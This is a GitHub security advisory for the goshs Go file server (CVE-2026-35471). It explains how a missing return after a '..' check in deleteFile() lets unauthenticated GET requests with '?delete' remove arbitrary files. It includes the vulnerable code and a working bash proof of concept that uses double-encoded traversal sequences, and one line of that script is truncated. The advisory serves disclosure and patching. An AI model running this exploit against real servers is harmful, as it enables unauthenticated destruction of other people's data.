# Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs deleteFile()

Critical **patrickhener** published **GHSA-6qcc-6q27-whp8** 5 days ago

**Package**

**goshs** (Go)

**Affected versions**

<=v2.0.0-beta.2

**Patched versions**

v2.0.0-beta.3

## Description

### Summary

- `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671`

The finding affect the default configuration, no flags or authentication required.

### Details

**File:** `httpserver/handler.go:645-671`
**Trigger:** `GET /<path>?delete` (handler.go:157-160 dispatches to `deleteFile`)

The function detects `..` in the decoded path but does not `return`.

```
func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
    upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))

    fileCleaned, _ := url.QueryUnescape(upath)
    if strings.Contains(fileCleaned, "..") {
        w.WriteHeader(500)
        _, err := w.Write([]byte("Cannot delete file"))
        if err != nil {
            logger.Errorf("error writing answer to client: %+v", err)
        }
        // BUG: no return, falls through to os.RemoveAll
```

```
    }

    deletePath := filepath.Join(fs.Webroot, fileCleaned)
    err := os.RemoveAll(deletePath)  // always executes
```

**Root causes:**
Missing `return` after the guard makes the check dead code

**Impact:** Unauthenticated arbitrary file/directory deletion.

**PoCs:**

```
#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"

# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%252e%252e/"
done

# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL'

URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"

echo "[*] Target:  ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")

echo "[*] HTTP ${HTTP_CODE}"
```

To execute it: `./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary`

## Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.

### Severity

Critical 9.8 / 10

**CVSS v3 base metrics**

| | |
|---|---|
| Attack vector | Network |
| Attack complexity | Low |
| Privileges required | None |
| User interaction | None |
| Scope | Unchanged |
| Confidentiality | High |
| Integrity | High |
| Availability | High |

Learn more about base metrics

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

### CVE ID

CVE-2026-35471

### Weaknesses

▶ CWE-22

### Credits

 **autobot23920** Reporter